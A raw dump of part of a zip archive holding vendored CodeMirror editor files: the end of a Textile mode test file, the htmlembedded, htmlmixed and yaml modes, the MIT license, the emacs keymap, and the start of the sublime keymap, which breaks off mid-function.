      'I can use HTML directly in my [comment <span class="youbetcha">Textile</span>].');

  /*
   * No-Textile
   */

  MT('notextile',
    '[string-2 notextile. *No* formatting]');

  MT('notextileInline',
      'Use [string-2 ==*asterisks*==] for [strong *strong*] text.');

  MT('notextileWithPre',
      '[operator pre. *No* formatting]');

  MT('notextileWithSpanningPre',
      '[operator pre.. *No* formatting]',
      '',
      '[operator *No* formatting]');

  /* Only toggling phrases between non-word chars. */

  MT('phrase-in-word',
     'foo_bar_baz');

  MT('phrase-non-word',
     '[negative -x-] aaa-bbb ccc-ddd [negative -eee-] fff [negative -ggg-]');

  MT('phrase-lone-dash',
     'foo - bar - baz');
})();
PK     0w\dL    R  customizer/framework/assets/js/vendor/codemirror/mode/htmlembedded/htmlembedded.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../htmlmixed/htmlmixed"),
        require("../../addon/mode/multiplex"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../htmlmixed/htmlmixed",
            "../../addon/mode/multiplex"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("htmlembedded", function(config, parserConfig) {
    return CodeMirror.multiplexingMode(CodeMirror.getMode(config, "htmlmixed"), {
      open: parserConfig.open || parserConfig.scriptStartRegex || "<%",
      close: parserConfig.close || parserConfig.scriptEndRegex || "%>",
      mode: CodeMirror.getMode(config, parserConfig.scriptingModeSpec)
    });
  }, "htmlmixed");

  CodeMirror.defineMIME("application/x-ejs", {name: "htmlembedded", scriptingModeSpec:"javascript"});
  CodeMirror.defineMIME("application/x-aspx", {name: "htmlembedded", scriptingModeSpec:"text/x-csharp"});
  CodeMirror.defineMIME("application/x-jsp", {name: "htmlembedded", scriptingModeSpec:"text/x-java"});
  CodeMirror.defineMIME("application/x-erb", {name: "htmlembedded", scriptingModeSpec:"ruby"});
});
PK     0w\Y    L  customizer/framework/assets/js/vendor/codemirror/mode/htmlmixed/htmlmixed.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../xml/xml"), require("../javascript/javascript"), require("../css/css"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../xml/xml", "../javascript/javascript", "../css/css"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var defaultTags = {
    script: [
      ["lang", /(javascript|babel)/i, "javascript"],
      ["type", /^(?:text|application)\/(?:x-)?(?:java|ecma)script$|^$/i, "javascript"],
      ["type", /./, "text/plain"],
      [null, null, "javascript"]
    ],
    style:  [
      ["lang", /^css$/i, "css"],
      ["type", /^(text\/)?(x-)?(stylesheet|css)$/i, "css"],
      ["type", /./, "text/plain"],
      [null, null, "css"]
    ]
  };

  function maybeBackup(stream, pat, style) {
    var cur = stream.current(), close = cur.search(pat);
    if (close > -1) {
      stream.backUp(cur.length - close);
    } else if (cur.match(/<\/?$/)) {
      stream.backUp(cur.length);
      if (!stream.match(pat, false)) stream.match(cur);
    }
    return style;
  }

  var attrRegexpCache = {};
  function getAttrRegexp(attr) {
    var regexp = attrRegexpCache[attr];
    if (regexp) return regexp;
    return attrRegexpCache[attr] = new RegExp("\\s+" + attr + "\\s*=\\s*('|\")?([^'\"]+)('|\")?\\s*");
  }

  function getAttrValue(stream, attr) {
    var pos = stream.pos, match;
    while (pos >= 0 && stream.string.charAt(pos) !== "<") pos--;
    if (pos < 0) return pos;
    if (match = stream.string.slice(pos, stream.pos).match(getAttrRegexp(attr)))
      return match[2];
    return "";
  }

  function getTagRegexp(tagName, anchored) {
    return new RegExp((anchored ? "^" : "") + "<\/\s*" + tagName + "\s*>", "i");
  }

  function addTags(from, to) {
    for (var tag in from) {
      var dest = to[tag] || (to[tag] = []);
      var source = from[tag];
      for (var i = source.length - 1; i >= 0; i--)
        dest.unshift(source[i])
    }
  }

  function findMatchingMode(tagInfo, stream) {
    for (var i = 0; i < tagInfo.length; i++) {
      var spec = tagInfo[i];
      if (!spec[0] || spec[1].test(getAttrValue(stream, spec[0]))) return spec[2];
    }
  }

  CodeMirror.defineMode("htmlmixed", function (config, parserConfig) {
    var htmlMode = CodeMirror.getMode(config, {
      name: "xml",
      htmlMode: true,
      multilineTagIndentFactor: parserConfig.multilineTagIndentFactor,
      multilineTagIndentPastTag: parserConfig.multilineTagIndentPastTag
    });

    var tags = {};
    var configTags = parserConfig && parserConfig.tags, configScript = parserConfig && parserConfig.scriptTypes;
    addTags(defaultTags, tags);
    if (configTags) addTags(configTags, tags);
    if (configScript) for (var i = configScript.length - 1; i >= 0; i--)
      tags.script.unshift(["type", configScript[i].matches, configScript[i].mode])

    function html(stream, state) {
      var tagName = state.htmlState.tagName && state.htmlState.tagName.toLowerCase();
      var tagInfo = tagName && tags.hasOwnProperty(tagName) && tags[tagName];

      var style = htmlMode.token(stream, state.htmlState), modeSpec;

      if (tagInfo && /\btag\b/.test(style) && stream.current() === ">" &&
          (modeSpec = findMatchingMode(tagInfo, stream))) {
        var mode = CodeMirror.getMode(config, modeSpec);
        var endTagA = getTagRegexp(tagName, true), endTag = getTagRegexp(tagName, false);
        state.token = function (stream, state) {
          if (stream.match(endTagA, false)) {
            state.token = html;
            state.localState = state.localMode = null;
            return null;
          }
          return maybeBackup(stream, endTag, state.localMode.token(stream, state.localState));
        };
        state.localMode = mode;
        state.localState = CodeMirror.startState(mode, htmlMode.indent(state.htmlState, ""));
      }
      return style;
    };

    return {
      startState: function () {
        var state = htmlMode.startState();
        return {token: html, localMode: null, localState: null, htmlState: state};
      },

      copyState: function (state) {
        var local;
        if (state.localState) {
          local = CodeMirror.copyState(state.localMode, state.localState);
        }
        return {token: state.token, localMode: state.localMode, localState: local,
                htmlState: CodeMirror.copyState(htmlMode, state.htmlState)};
      },

      token: function (stream, state) {
        return state.token(stream, state);
      },

      indent: function (state, textAfter) {
        if (!state.localMode || /^\s*<\//.test(textAfter))
          return htmlMode.indent(state.htmlState, textAfter);
        else if (state.localMode.indent)
          return state.localMode.indent(state.localState, textAfter);
        else
          return CodeMirror.Pass;
      },

      innerMode: function (state) {
        return {state: state.localState || state.htmlState, mode: state.localMode || htmlMode};
      }
    };
  }, "xml", "javascript", "css");

  CodeMirror.defineMIME("text/html", "htmlmixed");
});
PK     0w\A3A  A  B  customizer/framework/assets/js/vendor/codemirror/mode/yaml/yaml.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("yaml", function() {

  var cons = ['true', 'false', 'on', 'off', 'yes', 'no'];
  var keywordRegex = new RegExp("\\b(("+cons.join(")|(")+"))$", 'i');

  return {
    token: function(stream, state) {
      var ch = stream.peek();
      var esc = state.escaped;
      state.escaped = false;
      /* comments */
      if (ch == "#" && (stream.pos == 0 || /\s/.test(stream.string.charAt(stream.pos - 1)))) {
        stream.skipToEnd();
        return "comment";
      }

      if (stream.match(/^('([^']|\\.)*'?|"([^"]|\\.)*"?)/))
        return "string";

      if (state.literal && stream.indentation() > state.keyCol) {
        stream.skipToEnd(); return "string";
      } else if (state.literal) { state.literal = false; }
      if (stream.sol()) {
        state.keyCol = 0;
        state.pair = false;
        state.pairStart = false;
        /* document start */
        if(stream.match(/---/)) { return "def"; }
        /* document end */
        if (stream.match(/\.\.\./)) { return "def"; }
        /* array list item */
        if (stream.match(/\s*-\s+/)) { return 'meta'; }
      }
      /* inline pairs/lists */
      if (stream.match(/^(\{|\}|\[|\])/)) {
        if (ch == '{')
          state.inlinePairs++;
        else if (ch == '}')
          state.inlinePairs--;
        else if (ch == '[')
          state.inlineList++;
        else
          state.inlineList--;
        return 'meta';
      }

      /* list seperator */
      if (state.inlineList > 0 && !esc && ch == ',') {
        stream.next();
        return 'meta';
      }
      /* pairs seperator */
      if (state.inlinePairs > 0 && !esc && ch == ',') {
        state.keyCol = 0;
        state.pair = false;
        state.pairStart = false;
        stream.next();
        return 'meta';
      }

      /* start of value of a pair */
      if (state.pairStart) {
        /* block literals */
        if (stream.match(/^\s*(\||\>)\s*/)) { state.literal = true; return 'meta'; };
        /* references */
        if (stream.match(/^\s*(\&|\*)[a-z0-9\._-]+\b/i)) { return 'variable-2'; }
        /* numbers */
        if (state.inlinePairs == 0 && stream.match(/^\s*-?[0-9\.\,]+\s?$/)) { return 'number'; }
        if (state.inlinePairs > 0 && stream.match(/^\s*-?[0-9\.\,]+\s?(?=(,|}))/)) { return 'number'; }
        /* keywords */
        if (stream.match(keywordRegex)) { return 'keyword'; }
      }

      /* pairs (associative arrays) -> key */
      if (!state.pair && stream.match(/^\s*(?:[,\[\]{}&*!|>'"%@`][^\s'":]|[^,\[\]{}#&*!|>'"%@`])[^#]*?(?=\s*:($|\s))/)) {
        state.pair = true;
        state.keyCol = stream.indentation();
        return "atom";
      }
      if (state.pair && stream.match(/^:\s*/)) { state.pairStart = true; return 'meta'; }

      /* nothing found, continue */
      state.pairStart = false;
      state.escaped = (ch == '\\');
      stream.next();
      return null;
    },
    startState: function() {
      return {
        pair: false,
        pairStart: false,
        keyCol: 0,
        inlinePairs: 0,
        inlineList: 0,
        literal: false,
        escaped: false
      };
    }
  };
});

CodeMirror.defineMIME("text/x-yaml", "yaml");

});
PK     0w\+wzF  F  8  customizer/framework/assets/js/vendor/codemirror/LICENSEnu [        Copyright (C) 2015 by Marijn Haverbeke <marijnh@gmail.com> and others

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
PK     0w\-4  4  @  customizer/framework/assets/js/vendor/codemirror/keymap/emacs.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;
  function posEq(a, b) { return a.line == b.line && a.ch == b.ch; }

  // Kill 'ring'

  var killRing = [];
  function addToRing(str) {
    killRing.push(str);
    if (killRing.length > 50) killRing.shift();
  }
  function growRingTop(str) {
    if (!killRing.length) return addToRing(str);
    killRing[killRing.length - 1] += str;
  }
  function getFromRing(n) { return killRing[killRing.length - (n ? Math.min(n, 1) : 1)] || ""; }
  function popFromRing() { if (killRing.length > 1) killRing.pop(); return getFromRing(); }

  var lastKill = null;

  function kill(cm, from, to, mayGrow, text) {
    if (text == null) text = cm.getRange(from, to);

    if (mayGrow && lastKill && lastKill.cm == cm && posEq(from, lastKill.pos) && cm.isClean(lastKill.gen))
      growRingTop(text);
    else
      addToRing(text);
    cm.replaceRange("", from, to, "+delete");

    if (mayGrow) lastKill = {cm: cm, pos: from, gen: cm.changeGeneration()};
    else lastKill = null;
  }

  // Boundaries of various units

  function byChar(cm, pos, dir) {
    return cm.findPosH(pos, dir, "char", true);
  }

  function byWord(cm, pos, dir) {
    return cm.findPosH(pos, dir, "word", true);
  }

  function byLine(cm, pos, dir) {
    return cm.findPosV(pos, dir, "line", cm.doc.sel.goalColumn);
  }

  function byPage(cm, pos, dir) {
    return cm.findPosV(pos, dir, "page", cm.doc.sel.goalColumn);
  }

  function byParagraph(cm, pos, dir) {
    var no = pos.line, line = cm.getLine(no);
    var sawText = /\S/.test(dir < 0 ? line.slice(0, pos.ch) : line.slice(pos.ch));
    var fst = cm.firstLine(), lst = cm.lastLine();
    for (;;) {
      no += dir;
      if (no < fst || no > lst)
        return cm.clipPos(Pos(no - dir, dir < 0 ? 0 : null));
      line = cm.getLine(no);
      var hasText = /\S/.test(line);
      if (hasText) sawText = true;
      else if (sawText) return Pos(no, 0);
    }
  }

  function bySentence(cm, pos, dir) {
    var line = pos.line, ch = pos.ch;
    var text = cm.getLine(pos.line), sawWord = false;
    for (;;) {
      var next = text.charAt(ch + (dir < 0 ? -1 : 0));
      if (!next) { // End/beginning of line reached
        if (line == (dir < 0 ? cm.firstLine() : cm.lastLine())) return Pos(line, ch);
        text = cm.getLine(line + dir);
        if (!/\S/.test(text)) return Pos(line, ch);
        line += dir;
        ch = dir < 0 ? text.length : 0;
        continue;
      }
      if (sawWord && /[!?.]/.test(next)) return Pos(line, ch + (dir > 0 ? 1 : 0));
      if (!sawWord) sawWord = /\w/.test(next);
      ch += dir;
    }
  }

  function byExpr(cm, pos, dir) {
    var wrap;
    if (cm.findMatchingBracket && (wrap = cm.findMatchingBracket(pos, true))
        && wrap.match && (wrap.forward ? 1 : -1) == dir)
      return dir > 0 ? Pos(wrap.to.line, wrap.to.ch + 1) : wrap.to;

    for (var first = true;; first = false) {
      var token = cm.getTokenAt(pos);
      var after = Pos(pos.line, dir < 0 ? token.start : token.end);
      if (first && dir > 0 && token.end == pos.ch || !/\w/.test(token.string)) {
        var newPos = cm.findPosH(after, dir, "char");
        if (posEq(after, newPos)) return pos;
        else pos = newPos;
      } else {
        return after;
      }
    }
  }

  // Prefixes (only crudely supported)

  function getPrefix(cm, precise) {
    var digits = cm.state.emacsPrefix;
    if (!digits) return precise ? null : 1;
    clearPrefix(cm);
    return digits == "-" ? -1 : Number(digits);
  }

  function repeated(cmd) {
    var f = typeof cmd == "string" ? function(cm) { cm.execCommand(cmd); } : cmd;
    return function(cm) {
      var prefix = getPrefix(cm);
      f(cm);
      for (var i = 1; i < prefix; ++i) f(cm);
    };
  }

  function findEnd(cm, pos, by, dir) {
    var prefix = getPrefix(cm);
    if (prefix < 0) { dir = -dir; prefix = -prefix; }
    for (var i = 0; i < prefix; ++i) {
      var newPos = by(cm, pos, dir);
      if (posEq(newPos, pos)) break;
      pos = newPos;
    }
    return pos;
  }

  function move(by, dir) {
    var f = function(cm) {
      cm.extendSelection(findEnd(cm, cm.getCursor(), by, dir));
    };
    f.motion = true;
    return f;
  }

  function killTo(cm, by, dir) {
    var selections = cm.listSelections(), cursor;
    var i = selections.length;
    while (i--) {
      cursor = selections[i].head;
      kill(cm, cursor, findEnd(cm, cursor, by, dir), true);
    }
  }

  function killRegion(cm) {
    if (cm.somethingSelected()) {
      var selections = cm.listSelections(), selection;
      var i = selections.length;
      while (i--) {
        selection = selections[i];
        kill(cm, selection.anchor, selection.head);
      }
      return true;
    }
  }

  function addPrefix(cm, digit) {
    if (cm.state.emacsPrefix) {
      if (digit != "-") cm.state.emacsPrefix += digit;
      return;
    }
    // Not active yet
    cm.state.emacsPrefix = digit;
    cm.on("keyHandled", maybeClearPrefix);
    cm.on("inputRead", maybeDuplicateInput);
  }

  var prefixPreservingKeys = {"Alt-G": true, "Ctrl-X": true, "Ctrl-Q": true, "Ctrl-U": true};

  function maybeClearPrefix(cm, arg) {
    if (!cm.state.emacsPrefixMap && !prefixPreservingKeys.hasOwnProperty(arg))
      clearPrefix(cm);
  }

  function clearPrefix(cm) {
    cm.state.emacsPrefix = null;
    cm.off("keyHandled", maybeClearPrefix);
    cm.off("inputRead", maybeDuplicateInput);
  }

  function maybeDuplicateInput(cm, event) {
    var dup = getPrefix(cm);
    if (dup > 1 && event.origin == "+input") {
      var one = event.text.join("\n"), txt = "";
      for (var i = 1; i < dup; ++i) txt += one;
      cm.replaceSelection(txt);
    }
  }

  function addPrefixMap(cm) {
    cm.state.emacsPrefixMap = true;
    cm.addKeyMap(prefixMap);
    cm.on("keyHandled", maybeRemovePrefixMap);
    cm.on("inputRead", maybeRemovePrefixMap);
  }

  function maybeRemovePrefixMap(cm, arg) {
    if (typeof arg == "string" && (/^\d$/.test(arg) || arg == "Ctrl-U")) return;
    cm.removeKeyMap(prefixMap);
    cm.state.emacsPrefixMap = false;
    cm.off("keyHandled", maybeRemovePrefixMap);
    cm.off("inputRead", maybeRemovePrefixMap);
  }

  // Utilities

  function setMark(cm) {
    cm.setCursor(cm.getCursor());
    cm.setExtending(!cm.getExtending());
    cm.on("change", function() { cm.setExtending(false); });
  }

  function clearMark(cm) {
    cm.setExtending(false);
    cm.setCursor(cm.getCursor());
  }

  function getInput(cm, msg, f) {
    if (cm.openDialog)
      cm.openDialog(msg + ": <input type=\"text\" style=\"width: 10em\"/>", f, {bottom: true});
    else
      f(prompt(msg, ""));
  }

  function operateOnWord(cm, op) {
    var start = cm.getCursor(), end = cm.findPosH(start, 1, "word");
    cm.replaceRange(op(cm.getRange(start, end)), start, end);
    cm.setCursor(end);
  }

  function toEnclosingExpr(cm) {
    var pos = cm.getCursor(), line = pos.line, ch = pos.ch;
    var stack = [];
    while (line >= cm.firstLine()) {
      var text = cm.getLine(line);
      for (var i = ch == null ? text.length : ch; i > 0;) {
        var ch = text.charAt(--i);
        if (ch == ")")
          stack.push("(");
        else if (ch == "]")
          stack.push("[");
        else if (ch == "}")
          stack.push("{");
        else if (/[\(\{\[]/.test(ch) && (!stack.length || stack.pop() != ch))
          return cm.extendSelection(Pos(line, i));
      }
      --line; ch = null;
    }
  }

  function quit(cm) {
    cm.execCommand("clearSearch");
    clearMark(cm);
  }

  // Actual keymap

  var keyMap = CodeMirror.keyMap.emacs = CodeMirror.normalizeKeyMap({
    "Ctrl-W": function(cm) {kill(cm, cm.getCursor("start"), cm.getCursor("end"));},
    "Ctrl-K": repeated(function(cm) {
      var start = cm.getCursor(), end = cm.clipPos(Pos(start.line));
      var text = cm.getRange(start, end);
      if (!/\S/.test(text)) {
        text += "\n";
        end = Pos(start.line + 1, 0);
      }
      kill(cm, start, end, true, text);
    }),
    "Alt-W": function(cm) {
      addToRing(cm.getSelection());
      clearMark(cm);
    },
    "Ctrl-Y": function(cm) {
      var start = cm.getCursor();
      cm.replaceRange(getFromRing(getPrefix(cm)), start, start, "paste");
      cm.setSelection(start, cm.getCursor());
    },
    "Alt-Y": function(cm) {cm.replaceSelection(popFromRing(), "around", "paste");},

    "Ctrl-Space": setMark, "Ctrl-Shift-2": setMark,

    "Ctrl-F": move(byChar, 1), "Ctrl-B": move(byChar, -1),
    "Right": move(byChar, 1), "Left": move(byChar, -1),
    "Ctrl-D": function(cm) { killTo(cm, byChar, 1); },
    "Delete": function(cm) { killRegion(cm) || killTo(cm, byChar, 1); },
    "Ctrl-H": function(cm) { killTo(cm, byChar, -1); },
    "Backspace": function(cm) { killRegion(cm) || killTo(cm, byChar, -1); },

    "Alt-F": move(byWord, 1), "Alt-B": move(byWord, -1),
    "Alt-D": function(cm) { killTo(cm, byWord, 1); },
    "Alt-Backspace": function(cm) { killTo(cm, byWord, -1); },

    "Ctrl-N": move(byLine, 1), "Ctrl-P": move(byLine, -1),
    "Down": move(byLine, 1), "Up": move(byLine, -1),
    "Ctrl-A": "goLineStart", "Ctrl-E": "goLineEnd",
    "End": "goLineEnd", "Home": "goLineStart",

    "Alt-V": move(byPage, -1), "Ctrl-V": move(byPage, 1),
    "PageUp": move(byPage, -1), "PageDown": move(byPage, 1),

    "Ctrl-Up": move(byParagraph, -1), "Ctrl-Down": move(byParagraph, 1),

    "Alt-A": move(bySentence, -1), "Alt-E": move(bySentence, 1),
    "Alt-K": function(cm) { killTo(cm, bySentence, 1); },

    "Ctrl-Alt-K": function(cm) { killTo(cm, byExpr, 1); },
    "Ctrl-Alt-Backspace": function(cm) { killTo(cm, byExpr, -1); },
    "Ctrl-Alt-F": move(byExpr, 1), "Ctrl-Alt-B": move(byExpr, -1),

    "Shift-Ctrl-Alt-2": function(cm) {
      var cursor = cm.getCursor();
      cm.setSelection(findEnd(cm, cursor, byExpr, 1), cursor);
    },
    "Ctrl-Alt-T": function(cm) {
      var leftStart = byExpr(cm, cm.getCursor(), -1), leftEnd = byExpr(cm, leftStart, 1);
      var rightEnd = byExpr(cm, leftEnd, 1), rightStart = byExpr(cm, rightEnd, -1);
      cm.replaceRange(cm.getRange(rightStart, rightEnd) + cm.getRange(leftEnd, rightStart) +
                      cm.getRange(leftStart, leftEnd), leftStart, rightEnd);
    },
    "Ctrl-Alt-U": repeated(toEnclosingExpr),

    "Alt-Space": function(cm) {
      var pos = cm.getCursor(), from = pos.ch, to = pos.ch, text = cm.getLine(pos.line);
      while (from && /\s/.test(text.charAt(from - 1))) --from;
      while (to < text.length && /\s/.test(text.charAt(to))) ++to;
      cm.replaceRange(" ", Pos(pos.line, from), Pos(pos.line, to));
    },
    "Ctrl-O": repeated(function(cm) { cm.replaceSelection("\n", "start"); }),
    "Ctrl-T": repeated(function(cm) {
      cm.execCommand("transposeChars");
    }),

    "Alt-C": repeated(function(cm) {
      operateOnWord(cm, function(w) {
        var letter = w.search(/\w/);
        if (letter == -1) return w;
        return w.slice(0, letter) + w.charAt(letter).toUpperCase() + w.slice(letter + 1).toLowerCase();
      });
    }),
    "Alt-U": repeated(function(cm) {
      operateOnWord(cm, function(w) { return w.toUpperCase(); });
    }),
    "Alt-L": repeated(function(cm) {
      operateOnWord(cm, function(w) { return w.toLowerCase(); });
    }),

    "Alt-;": "toggleComment",

    "Ctrl-/": repeated("undo"), "Shift-Ctrl--": repeated("undo"),
    "Ctrl-Z": repeated("undo"), "Cmd-Z": repeated("undo"),
    "Shift-Alt-,": "goDocStart", "Shift-Alt-.": "goDocEnd",
    "Ctrl-S": "findNext", "Ctrl-R": "findPrev", "Ctrl-G": quit, "Shift-Alt-5": "replace",
    "Alt-/": "autocomplete",
    "Ctrl-J": "newlineAndIndent", "Enter": false, "Tab": "indentAuto",

    "Alt-G G": function(cm) {
      var prefix = getPrefix(cm, true);
      if (prefix != null && prefix > 0) return cm.setCursor(prefix - 1);

      getInput(cm, "Goto line", function(str) {
        var num;
        if (str && !isNaN(num = Number(str)) && num == (num|0) && num > 0)
          cm.setCursor(num - 1);
      });
    },

    "Ctrl-X Tab": function(cm) {
      cm.indentSelection(getPrefix(cm, true) || cm.getOption("indentUnit"));
    },
    "Ctrl-X Ctrl-X": function(cm) {
      cm.setSelection(cm.getCursor("head"), cm.getCursor("anchor"));
    },
    "Ctrl-X Ctrl-S": "save",
    "Ctrl-X Ctrl-W": "save",
    "Ctrl-X S": "saveAll",
    "Ctrl-X F": "open",
    "Ctrl-X U": repeated("undo"),
    "Ctrl-X K": "close",
    "Ctrl-X Delete": function(cm) { kill(cm, cm.getCursor(), bySentence(cm, cm.getCursor(), 1), true); },
    "Ctrl-X H": "selectAll",

    "Ctrl-Q Tab": repeated("insertTab"),
    "Ctrl-U": addPrefixMap
  });

  var prefixMap = {"Ctrl-G": clearPrefix};
  function regPrefix(d) {
    prefixMap[d] = function(cm) { addPrefix(cm, d); };
    keyMap["Ctrl-" + d] = function(cm) { addPrefix(cm, d); };
    prefixPreservingKeys["Ctrl-" + d] = true;
  }
  for (var i = 0; i < 10; ++i) regPrefix(String(i));
  regPrefix("-");
});
PK     0w\57XnS  nS  B  customizer/framework/assets/js/vendor/codemirror/keymap/sublime.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// A rough approximation of Sublime Text's keybindings
// Depends on addon/search/searchcursor.js and optionally addon/dialog/dialogs.js

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../lib/codemirror"), require("../addon/search/searchcursor"), require("../addon/edit/matchbrackets"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../lib/codemirror", "../addon/search/searchcursor", "../addon/edit/matchbrackets"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var map = CodeMirror.keyMap.sublime = {fallthrough: "default"};
  var cmds = CodeMirror.commands;
  var Pos = CodeMirror.Pos;
  var mac = CodeMirror.keyMap["default"] == CodeMirror.keyMap.macDefault;
  var ctrl = mac ? "Cmd-" : "Ctrl-";

  // This is not exactly Sublime's algorithm. I couldn't make heads or tails of that.
  function findPosSubword(doc, start, dir) {
    if (dir < 0 && start.ch == 0) return doc.clipPos(Pos(start.line - 1));
    var line = doc.getLine(start.line);
    if (dir > 0 && start.ch >= line.length) return doc.clipPos(Pos(start.line + 1, 0));
    var state = "start", type;
    for (var pos = start.ch, e = dir < 0 ? 0 : line.length, i = 0; pos != e; pos += dir, i++) {
      var next = line.charAt(dir < 0 ? pos - 1 : pos);
      var cat = next != "_" && CodeMirror.isWordChar(next) ? "w" : "o";
      if (cat == "w" && next.toUpperCase() == next) cat = "W";
      if (state == "start") {
        if (cat != "o") { state = "in"; type = cat; }
      } else if (state == "in") {
        if (type != cat) {
          if (type == "w" && cat == "W" && dir < 0) pos--;
          if (type == "W" && cat == "w" && dir > 0) { type = "w"; continue; }
          break;
        }
      }
    }
    return Pos(start.line, pos);
  }

  function moveSubword(cm, dir) {
    cm.extendSelectionsBy(function(range) {
      if (cm.display.shift || cm.doc.extend || range.empty())
        return findPosSubword(cm.doc, range.head, dir);
      else
        return dir < 0 ? range.from() : range.to();
    });
  }

  cmds[map["Alt-Left"] = "goSubwordLeft"] = function(cm) { moveSubword(cm, -1); };
  cmds[map["Alt-Right"] = "goSubwordRight"] = function(cm) { moveSubword(cm, 1); };

  var scrollLineCombo = mac ? "Ctrl-Alt-" : "Ctrl-";

  cmds[map[scrollLineCombo + "Up"] = "scrollLineUp"] = function(cm) {
    var info = cm.getScrollInfo();
    if (!cm.somethingSelected()) {
      var visibleBottomLine = cm.lineAtHeight(info.top + info.clientHeight, "local");
      if (cm.getCursor().line >= visibleBottomLine)
        cm.execCommand("goLineUp");
    }
    cm.scrollTo(null, info.top - cm.defaultTextHeight());
  };
  cmds[map[scrollLineCombo + "Down"] = "scrollLineDown"] = function(cm) {
    var info = cm.getScrollInfo();
    if (!cm.somethingSelected()) {
      var visibleTopLine = cm.lineAtHeight(info.top, "local")+1;
      if (cm.getCursor().line <= visibleTopLine)
        cm.execCommand("goLineDown");
    }
    cm.scrollTo(null, info.top + cm.defaultTextHeight());
  };

  cmds[map["Shift-" + ctrl + "L"] = "splitSelectionByLine"] = function(cm) {
    var ranges = cm.listSelections(), lineRanges = [];
    for (var i = 0; i < ranges.length; i++) {
      var from = ranges[i].from(), to = ranges[i].to();
      for (var line = from.line; line <= to.line; ++line)
        if (!(to.line > from.line && line == to.line && to.ch == 0))
          lineRanges.push({anchor: line == from.line ? from : Pos(line, 0),
                           head: line == to.line ? to : Pos(line)});
    }
    cm.setSelections(lineRanges, 0);
  };

  map["Shift-Tab"] = "indentLess";

  cmds[map["Esc"] = "singleSelectionTop"] = function(cm) {
    var range = cm.listSelections()[0];
    cm.setSelection(range.anchor, range.head, {scroll: false});
  };

  cmds[map[ctrl + "L"] = "selectLine"] = function(cm) {
    var ranges = cm.listSelections(), extended = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i];
      extended.push({anchor: Pos(range.from().line, 0),
                     head: Pos(range.to().line + 1, 0)});
    }
    cm.setSelections(extended);
  };

  map["Shift-" + ctrl + "K"] = "deleteLine";

  function insertLine(cm, above) {
    cm.operation(function() {
      var len = cm.listSelections().length, newSelection = [], last = -1;
      for (var i = 0; i < len; i++) {
        var head = cm.listSelections()[i].head;
        if (head.line <= last) continue;
        var at = Pos(head.line + (above ? 0 : 1), 0);
        cm.replaceRange("\n", at, null, "+insertLine");
        cm.indentLine(at.line, null, true);
        newSelection.push({head: at, anchor: at});
        last = head.line + 1;
      }
      cm.setSelections(newSelection);
    });
  }

  cmds[map[ctrl + "Enter"] = "insertLineAfter"] = function(cm) { insertLine(cm, false); };

  cmds[map["Shift-" + ctrl + "Enter"] = "insertLineBefore"] = function(cm) { insertLine(cm, true); };

  function wordAt(cm, pos) {
    var start = pos.ch, end = start, line = cm.getLine(pos.line);
    while (start && CodeMirror.isWordChar(line.charAt(start - 1))) --start;
    while (end < line.length && CodeMirror.isWordChar(line.charAt(end))) ++end;
    return {from: Pos(pos.line, start), to: Pos(pos.line, end), word: line.slice(start, end)};
  }

  cmds[map[ctrl + "D"] = "selectNextOccurrence"] = function(cm) {
    var from = cm.getCursor("from"), to = cm.getCursor("to");
    var fullWord = cm.state.sublimeFindFullWord == cm.doc.sel;
    if (CodeMirror.cmpPos(from, to) == 0) {
      var word = wordAt(cm, from);
      if (!word.word) return;
      cm.setSelection(word.from, word.to);
      fullWord = true;
    } else {
      var text = cm.getRange(from, to);
      var query = fullWord ? new RegExp("\\b" + text + "\\b") : text;
      var cur = cm.getSearchCursor(query, to);
      if (cur.findNext()) {
